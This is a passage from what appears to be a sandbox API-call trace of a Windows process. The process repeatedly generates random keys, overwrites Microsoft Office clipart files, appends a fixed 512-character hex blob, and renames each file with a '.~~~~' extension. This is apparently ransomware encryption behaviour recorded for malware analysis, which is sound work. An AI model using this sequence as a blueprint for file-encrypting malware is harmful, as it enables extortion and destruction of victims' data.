	[0092.262] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x486, lpOverlapped=0x0) returned 1
	[0092.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.263] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.263] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.263] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.263] CloseHandle (hObject=0x124) returned 1
	[0092.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.~~~~")) returned 1
	[0092.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.265] GetLastError () returned 0x0
	[0092.265] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.266] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.266] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21225623107) returned 1
	[0092.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0c23450, dwHighDateTime=0x1d60e1e)) 
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387aa8
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387aa8 | out: hHeap=0x300000) returned 1
	[0092.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a548
	[0092.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.267] GetLastError () returned 0x0
	[0092.267] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.267] GetLastError () returned 0x0
	[0092.269] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffce8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.269] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x318, lpOverlapped=0x0) returned 1
	[0092.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.270] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.270] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.270] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.270] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.270] CloseHandle (hObject=0x124) returned 1
	[0092.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.~~~~")) returned 1
	[0092.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.271] GetLastError () returned 0x0
	[0092.271] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.272] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.272] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.273] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21226276157) returned 1
	[0092.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0c495b0, dwHighDateTime=0x1d60e1e)) 
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387ae0
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387ae0 | out: hHeap=0x300000) returned 1
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a5e0
	[0092.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.273] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.274] GetLastError () returned 0x0
	[0092.274] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.274] GetLastError () returned 0x0
	[0092.276] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffbce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.276] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x432, lpOverlapped=0x0) returned 1
	[0092.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.276] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.276] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.277] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.277] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.277] CloseHandle (hObject=0x124) returned 1
	[0092.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.~~~~")) returned 1
	[0092.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.278] GetLastError () returned 0x0
	[0092.278] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.279] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21226934536) returned 1
	[0092.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0c495b0, dwHighDateTime=0x1d60e1e)) 
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387b18
	[0092.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387b18 | out: hHeap=0x300000) returned 1
	[0092.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a678
	[0092.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.280] GetLastError () returned 0x0
	[0092.280] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.280] GetLastError () returned 0x0
	[0092.412] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff8c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.412] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x738, lpOverlapped=0x0) returned 1
	[0092.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.413] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.413] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.413] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.413] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.413] CloseHandle (hObject=0x124) returned 1
	[0092.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.~~~~")) returned 1
	[0092.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.418] GetLastError () returned 0x0
	[0092.421] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.423] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.423] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.423] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21241330994) returned 1
	[0092.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0dc6370, dwHighDateTime=0x1d60e1e)) 
	[0092.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387cd8
	[0092.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387cd8 | out: hHeap=0x300000) returned 1
	[0092.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ad88
	[0092.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.424] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.424] GetLastError () returned 0x0
	[0092.424] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.424] GetLastError () returned 0x0
	[0092.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd9fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.437] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2606, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2606, lpOverlapped=0x0) returned 1
	[0092.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.439] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.439] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.439] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.439] CloseHandle (hObject=0x124) returned 1
	[0092.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.~~~~")) returned 1
	[0092.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.440] GetLastError () returned 0x0
	[0092.441] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.442] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.442] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21243235588) returned 1
	[0092.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0dec4d0, dwHighDateTime=0x1d60e1e)) 
	[0092.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387d10
	[0092.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387d10 | out: hHeap=0x300000) returned 1
	[0092.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38aeb8
	[0092.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.443] GetLastError () returned 0x0
	[0092.443] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.443] GetLastError () returned 0x0
